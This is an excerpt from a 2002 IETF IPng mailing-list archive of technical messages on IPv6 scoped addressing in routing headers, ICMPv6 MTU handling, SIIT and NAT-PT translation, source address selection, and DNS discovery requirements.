Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3MKXFUM007541; Mon, 22 Apr 2002 13:33:15 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MKXCGs007534 for ; Mon, 22 Apr 2002 13:33:12 -0700 (PDT) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA13859 for ; Mon, 22 Apr 2002 13:33:13 -0700 (PDT) Received: from mail4.microsoft.com (mail4.microsoft.com [131.107.3.122]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA23464 for ; Mon, 22 Apr 2002 14:33:13 -0600 (MDT) Received: from inet-vrs-04.redmond.corp.microsoft.com ([157.54.8.154]) by mail4.microsoft.com with Microsoft SMTPSVC(5.0.2195.4905); Mon, 22 Apr 2002 13:32:10 -0700 Received: from 157.54.8.109 by inet-vrs-04.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Mon, 22 Apr 2002 13:32:09 -0700 Received: from red-msg-06.redmond.corp.microsoft.com ([157.54.12.71]) by inet-hub-02.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.4905); Mon, 22 Apr 2002 13:33:12 -0700 x-mimeole: Produced By Microsoft Exchange V6.0.6177.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Subject: RE: scoping-arch and link-local addresses in RH Date: Mon, 22 Apr 2002 13:33:11 -0700 Message-ID: <7695E2F6903F7A41961F8CF888D87EA8063CEC55@red-msg-06.redmond.corp.microsoft.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: scoping-arch and link-local addresses in RH Thread-Index: AcHqKcQBt/eaI4NIRpG6ECIGFgRFWAAEh+VA From: "Richard Draves" To: "Pekka Savola" Cc: X-OriginalArrivalTime: 22 Apr 2002 20:33:12.0138 (UTC) FILETIME=[EBFF02A0:01C1EA3C] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id g3MKXCGs007535 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > E.g are you able to send a packet like: > > src=global1 > dst=globalA > routing header=site_localA, segments left=1 > > which would be translated at globalA to: > > src=global1 > dst=site_localA > routing header=globalA, segments left=0 ? > > I think we need to have a much much more clearer view of what > is possible > and what is not when crossing zone boundaries with routing headers. To prevent this I have a check when processing routing headers - when swapping the old destination and the new destination, it's an error if the new destination has smaller scope than the old destination. I think it's important that when a packet arrives at its final destination, if that destination is link-local then the receiving application can know that the packet originated on-link, and if the destination is site-local then the application can know that the packet originated within the site. Rich -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 22 13:57:37 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MKvaGs007629; Mon, 22 Apr 2002 13:57:36 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3MKvaBq007628; Mon, 22 Apr 2002 13:57:36 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MKvXGs007621 for ; Mon, 22 Apr 2002 13:57:33 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA01157 for ; Mon, 22 Apr 2002 13:57:33 -0700 (PDT) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA07846 for ; Mon, 22 Apr 2002 14:57:32 -0600 (MDT) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id NAA17663; Mon, 22 Apr 2002 13:57:31 -0700 (PDT) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id g3MKvUV11855; Mon, 22 Apr 2002 13:57:30 -0700 X-mProtect: <200204222057> Nokia Silicon Valley Messaging Protection Received: from UNKNOWN (4.22.78.78, claiming to be "spruce.iprg.nokia.com") by darkstar.iprg.nokia.com smtpdHszcej; Mon, 22 Apr 2002 13:57:28 PDT Message-Id: <4.3.2.7.2.20020422135255.02ceafe0@mailhost.iprg.nokia.com> X-Sender: hinden@mailhost.iprg.nokia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 22 Apr 2002 13:57:02 -0700 To: Rob Austein From: Bob Hinden Subject: Re: Proposed IPv6 DNS Discovery Requirements Cc: ipng@sunroof.eng.sun.com In-Reply-To: <20020419173026.570901C7E@thrintun.hactrn.net> References: <4.3.2.7.2.20020419094035.02bc9198@mailhost.iprg.nokia.com> <4.3.2.7.2.20020419094035.02bc9198@mailhost.iprg.nokia.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Could you comment on the definition I used for server-less? There was more than just the use of the word. Bob At 10:30 AM 4/19/2002, Rob Austein wrote: >At Fri, 19 Apr 2002 09:50:01 -0700, Bob Hinden wrote: > > > > I suspect that most people can tell the difference. > >No, Bob, that's exactly the point. You see a difference. I see a >difference. But is the difference you see the same as the difference >I see? Maybe, maybe not. > >I understand that you're trying to avoid spelling all this out in >mindnumbingly tedious detail, but in this case I think you really have >to do so. Lack of clarity is how we got into this swamp. >-------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 22 14:44:16 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MLiFGs008358; Mon, 22 Apr 2002 14:44:15 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3MLiFgb008357; Mon, 22 Apr 2002 14:44:15 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MLiCGs008350 for ; Mon, 22 Apr 2002 14:44:12 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA16499 for ; Mon, 22 Apr 2002 14:44:12 -0700 (PDT) Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA24565 for ; Mon, 22 Apr 2002 14:44:12 -0700 (PDT) Received: from mira-sjcd-4.cisco.com (IDENT:mirapoint@mira-sjcd-4.cisco.com [171.69.43.47]) by sj-msg-core-4.cisco.com (8.12.2/8.12.2) with ESMTP id g3MLiAjR003019; Mon, 22 Apr 2002 14:44:10 -0700 (PDT) Received: from [171.71.119.34] (dhcp-171-71-119-34.cisco.com [171.71.119.34]) by mira-sjcd-4.cisco.com (Mirapoint) with ESMTP id ADL69752; Mon, 22 Apr 2002 14:43:09 -0700 (PDT) Mime-Version: 1.0 X-Sender: deering@mira-sjcd-4.cisco.com Message-Id: In-Reply-To: References: Date: Mon, 22 Apr 2002 14:44:17 -0700 To: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= From: Steve Deering Subject: Re: ICMPv6 too big with a "too small" MTU Cc: mccann@zk3.dec.com, ipng@sunroof.eng.sun.com Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At 5:05 PM +0900 4/22/02, JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= wrote: >In my understanding, the only "translating router" that needs the >indication of the fragment header is an SIIT (or similar) translation >router. In fact, neither NAT-PT (RFC 2766) nor TCP-relay (RFC 3142) >needs the indication. > >So my questions are: > >- is my understanding correct? Perhaps. That depends on how generous your "(or similar)" qualifier is. :-) >- if so, is it allowed for a host not implementing SIIT client side to > ignore the requirement to insert the fragment header upon receiving > an ICMPv6 too big message with an MTU less than 1280? No, because there may be other things similar to SIIT (either already invented or to-be-invented), that require the same originator behavior. The spec is clear what to do when you get a Packet Too Big message reporting an MTU less than 1280, and I think it would be unwise for nodes to employ heuristics to determine whether or not to comply. Steve -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 22 16:24:34 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MNOYGs009166; Mon, 22 Apr 2002 16:24:34 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3MNOYwr009165; Mon, 22 Apr 2002 16:24:34 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from eastmail1.East.Sun.COM (eastmail1.East.Sun.COM [129.148.1.240]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MNOUGs009158 for ; Mon, 22 Apr 2002 16:24:31 -0700 (PDT) Received: from thunk.east.sun.com (thunk.East.Sun.COM [129.148.174.66]) by eastmail1.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA19815; Mon, 22 Apr 2002 19:24:32 -0400 (EDT) Received: from thunk (localhost [127.0.0.1]) by thunk.east.sun.com (8.12.2+Sun/8.12.2) with ESMTP id g3MNMDKw020982; Mon, 22 Apr 2002 19:22:13 -0400 (EDT) Message-Id: <200204222322.g3MNMDKw020982@thunk.east.sun.com> From: Bill Sommerfeld To: Randy Bush cc: Bob Hinden , IPng List Subject: Re: Proposed IPv6 DNS Discovery Requirements In-Reply-To: Your message of "Thu, 18 Apr 2002 09:54:51 +0900." Reply-to: sommerfeld@east.sun.com Date: Mon, 22 Apr 2002 19:22:13 -0400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > as rob pointed out, with dnssec, you will need accurate time, i.e. an ntp > server as well. You don't need submillisecond-accurate NTP time, though -- accurate to the nearest hour will likely be sufficient in many cases. - Bill -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 22 17:06:01 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N060Gs009384; Mon, 22 Apr 2002 17:06:00 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3N060EM009383; Mon, 22 Apr 2002 17:06:00 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N05vGs009376 for ; Mon, 22 Apr 2002 17:05:57 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA21595 for ; Mon, 22 Apr 2002 17:05:59 -0700 (PDT) Received: from mail5.microsoft.com (mail5.microsoft.com [131.107.3.121]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id SAA26338 for ; Mon, 22 Apr 2002 18:05:59 -0600 (MDT) Received: from inet-vrs-05.redmond.corp.microsoft.com ([157.54.6.148]) by mail5.microsoft.com with Microsoft SMTPSVC(5.0.2195.4905); Mon, 22 Apr 2002 17:05:41 -0700 Received: from 157.54.8.155 by inet-vrs-05.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Mon, 22 Apr 2002 17:05:42 -0700 Received: from red-msg-06.redmond.corp.microsoft.com ([157.54.12.71]) by inet-hub-04.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.4905); Mon, 22 Apr 2002 17:05:57 -0700 x-mimeole: Produced By Microsoft Exchange V6.0.6177.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Subject: RE: deprecated addrs in src addr selection question Date: Mon, 22 Apr 2002 17:05:57 -0700 Message-ID: <7695E2F6903F7A41961F8CF888D87EA8063CEC5A@red-msg-06.redmond.corp.microsoft.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: deprecated addrs in src addr selection question Thread-Index: AcHXcPCpPsDtMXR9RHeoFDoSE2jqKAS6ObcQ From: "Richard Draves" To: "Sebastien Roy" Cc: X-OriginalArrivalTime: 23 Apr 2002 00:05:57.0772 (UTC) FILETIME=[A4E82CC0:01C1EA5A] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id g3N05vGs009377 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > The "Default Address Selection for IPv6" draft's source > address selection seems to prefer addresses of appropriate > scope over "preferred" or non-deprecated addresses. What is > the reasoning behind that? > > For example, a system has one interface configured with a > deprecated site-local address and a non-deprecated global > address. When communicating with a site-local destination, > the draft specifies that the deprecated site-local source > address would be used instead of the global address. Because using an address of mismatched scope is more likely to cause interoperability problems. For example I believe there have been IPv6 implementations that refused to communicate when the scopes did not match. The scope of an address is visible to the peer (and hence can cause communication problems), whereas the preferred vs deprecated status of one's address is not visible on the wire. If this scenario really occurred in practice I think it would indicate administrative misconfiguration. I think a host that was forced to use a deprecated address by the source address selection rules should probably log an error or do something to bring the situation to an administrator's attention. Rich -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 22 17:10:38 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N0AbGs009407; Mon, 22 Apr 2002 17:10:37 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3N0AbCD009406; Mon, 22 Apr 2002 17:10:37 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N0AYGs009399 for ; Mon, 22 Apr 2002 17:10:34 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA23256 for ; Mon, 22 Apr 2002 17:10:36 -0700 (PDT) Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA28436; Mon, 22 Apr 2002 17:10:36 -0700 (PDT) Received: (from bmanning@localhost) by boreas.isi.edu (8.11.6/8.11.2) id g3N0AaH21583; Mon, 22 Apr 2002 17:10:36 -0700 (PDT) From: Bill Manning Message-Id: <200204230010.g3N0AaH21583@boreas.isi.edu> Subject: Re: Proposed IPv6 DNS Discovery Requirements In-Reply-To: <200204222322.g3MNMDKw020982@thunk.east.sun.com> from Bill Sommerfeld at "Apr 22, 2 07:22:13 pm" To: sommerfeld@east.sun.com Date: Mon, 22 Apr 2002 17:10:35 -0700 (PDT) Cc: randy@psg.com, hinden@iprg.nokia.com, ipng@sunroof.eng.sun.com X-Mailer: ELM [version 2.4ME+ PL39 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk % > as rob pointed out, with dnssec, you will need accurate time, i.e. an ntp % > server as well. % % You don't need submillisecond-accurate NTP time, though -- accurate to % the nearest hour will likely be sufficient in many cases. actually, it seems the failures occur when clocks are more than 5min off. the code seems to back this observed behaviour. --bill -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 22 17:16:30 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N0GTGs009425; Mon, 22 Apr 2002 17:16:29 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3N0GTFe009424; Mon, 22 Apr 2002 17:16:29 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N0GPGs009417 for ; Mon, 22 Apr 2002 17:16:26 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA29811 for ; Mon, 22 Apr 2002 17:16:27 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA18429 for ; Mon, 22 Apr 2002 18:16:26 -0600 (MDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 2B9B54B22; Tue, 23 Apr 2002 09:16:24 +0900 (JST) To: "Srinivasa Rao Nalluri" Cc: "'IPng List'" In-reply-to: srinivasa.nalluri's message of Mon, 22 Apr 2002 16:01:04 +0530. <019a01c1e9e8$ce67fb10$9e3210ac@laxeri31431> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: Why fragmentation is prevented at intermediate routers in IPv6? From: itojun@iijlab.net Date: Tue, 23 Apr 2002 09:16:24 +0900 Message-ID: <3932.1019520984@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >In IPv6 fragmentation is prevented by intermediate routers. Only sender can >fragment IP packet. >Why so? Do we have any extra advantage because of this. simpler router implementation (= hardware routing acceleration easier to implement). itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 22 17:18:59 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N0IxGs009442; Mon, 22 Apr 2002 17:18:59 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3N0IxFt009441; Mon, 22 Apr 2002 17:18:59 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N0ItGs009434 for ; Mon, 22 Apr 2002 17:18:55 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA26718 for ; Mon, 22 Apr 2002 17:18:57 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA29930 for ; Mon, 22 Apr 2002 17:18:57 -0700 (PDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 000654B22; Tue, 23 Apr 2002 09:18:53 +0900 (JST) To: Rob Austein Cc: ipng@sunroof.eng.sun.com In-reply-to: sra+ipng's message of Mon, 22 Apr 2002 12:59:27 -0400. <20020422165928.068DB1BFF@thrintun.hactrn.net> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: ICMPv6 too big with a "too small" MTU From: itojun@iijlab.net Date: Tue, 23 Apr 2002 09:18:53 +0900 Message-ID: <3964.1019521133@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >Er, NAT-PT is basicly a supserset of SIIT, so anything one needs to do >for SIIT one also needs to do for NAT-PT. >Or am I misunderstanding something? NAT-PT gateway can do fragmentation/reassembly on its own as it can have (per-flow) state information. SIIT gateway can't, as it is supposed to be stateless (oops, this word again). itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 22 19:21:31 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N2LUGs009820; Mon, 22 Apr 2002 19:21:30 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3N2LU8o009819; Mon, 22 Apr 2002 19:21:30 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N2LQGs009812 for ; Mon, 22 Apr 2002 19:21:26 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA05145 for ; Mon, 22 Apr 2002 19:21:27 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id UAA20153 for ; Mon, 22 Apr 2002 20:21:27 -0600 (MDT) Received: from localhost ([3ffe:501:100f:1048:200:39ff:fed9:21d7]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id g3N2LKo73387; Tue, 23 Apr 2002 11:21:20 +0900 (JST) Date: Tue, 23 Apr 2002 11:21:32 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Pekka Savola Cc: ipng@sunroof.eng.sun.com Subject: Re: scoping-arch and link-local addresses in RH In-Reply-To: References: User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 20000228(IM140) Lines: 52 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Mon, 22 Apr 2002 18:45:22 +0300 (EEST), >>>>> Pekka Savola said: > ==> Wow, a 5-line sentence :-). Anyway, my imagination is failing here > what kind of non-global addresses can be placed in the routing header? > There may be a conflict with the previous comment there. > E.g are you able to send a packet like: > src=global1 > dst=globalA > routing header=site_localA, segments left=1 > which would be translated at globalA to: > src=global1 > dst=site_localA > routing header=globalA, segments left=0 ? According to the draft, correct. > I think we need to have a much much more clearer view of what is possible > and what is not when crossing zone boundaries with routing headers. I admit the notion is quite complicated and the text may have unclear points, but the described behavior is clear at least to me so that I could implement the rule in my implementation. So, could you be more specific about the unclearness? Could you give me a concrete example that cannot be explained with the description? > 14. Security Considerations > The routing section of this document specifies a set of guidelines > that allow routers to prevent zone-specific information from leaking > out of each site. If site boundary routers allow site routing > information to be forwarded outside of the site, the integrity of the > site could be compromised. > ==> Security considerations should mention potential problems of crossing > zone boundaries w/ routing headers. Okay, but the problems would basically be the same as in "normal" (i.e. all destinations are in the same scope type) routing headers. Do you have an example of the potential problems specific to the case of mixed scoped destinations? Thanks, JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 22 19:52:25 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N2qPGs009860; Mon, 22 Apr 2002 19:52:25 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3N2qPJc009859; Mon, 22 Apr 2002 19:52:25 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3N2qMGs009852 for ; Mon, 22 Apr 2002 19:52:22 -0700 (PDT) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA12392 for ; Mon, 22 Apr 2002 19:52:23 -0700 (PDT) Received: from thrintun.hactrn.net (dsl092-066-067.bos1.dsl.speakeasy.net [66.92.66.67]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id UAA28509 for ; Mon, 22 Apr 2002 20:52:23 -0600 (MDT) Received: from thrintun.hactrn.net (localhost [127.0.0.1]) by thrintun.hactrn.net (Postfix) with ESMTP id 73AD01C30 for ; Mon, 22 Apr 2002 22:52:22 -0400 (EDT) Date: Mon, 22 Apr 2002 22:52:22 -0400 From: Rob Austein To: ipng@sunroof.eng.sun.com Subject: Re: ICMPv6 too big with a "too small" MTU In-Reply-To: <3964.1019521133@itojun.org> User-Agent: Wanderlust/2.4.1 (Stand By Me) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) Emacs/20.7 (i386--freebsd) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Message-Id: <20020423025222.73AD01C30@thrintun.hactrn.net> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Well, I don't think it's worth getting into a discussion about whether NAT-PT is required to have per-flow state or SIIT is forbidden from having per-flow state, so I'll just observe that, unless there's also port mapping going on, NAT-PT mostly just deals with addresses. There is an address mapping table, but it's not per-flow. The only exceptions to this are for application protocols that need ALGs. In the case of the NAT-PT implementation I did a few years ago, we didn't need port mapping (v4 edge site, v6 network core), so we didn't keep per-flow state in the NAT-PT core at all, and the ALG stuff was handled in separate per-application-protococol modules that hooked in via connection hijacking (so-called "transparent proxy", not that I like with the name). The ALGs had to fetch the address mapping data out of the NAT-PT core, but that's trivial. Anyway, the point of the above is just that most traffic through this engine (SMTP, HTTP, SSH, TFTP, NTP, ...) was following the SIIT rules, except for using a different mapping algorithm between the IPv4 and IPv6 addresses. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 22 21:12:06 2002 Received: from 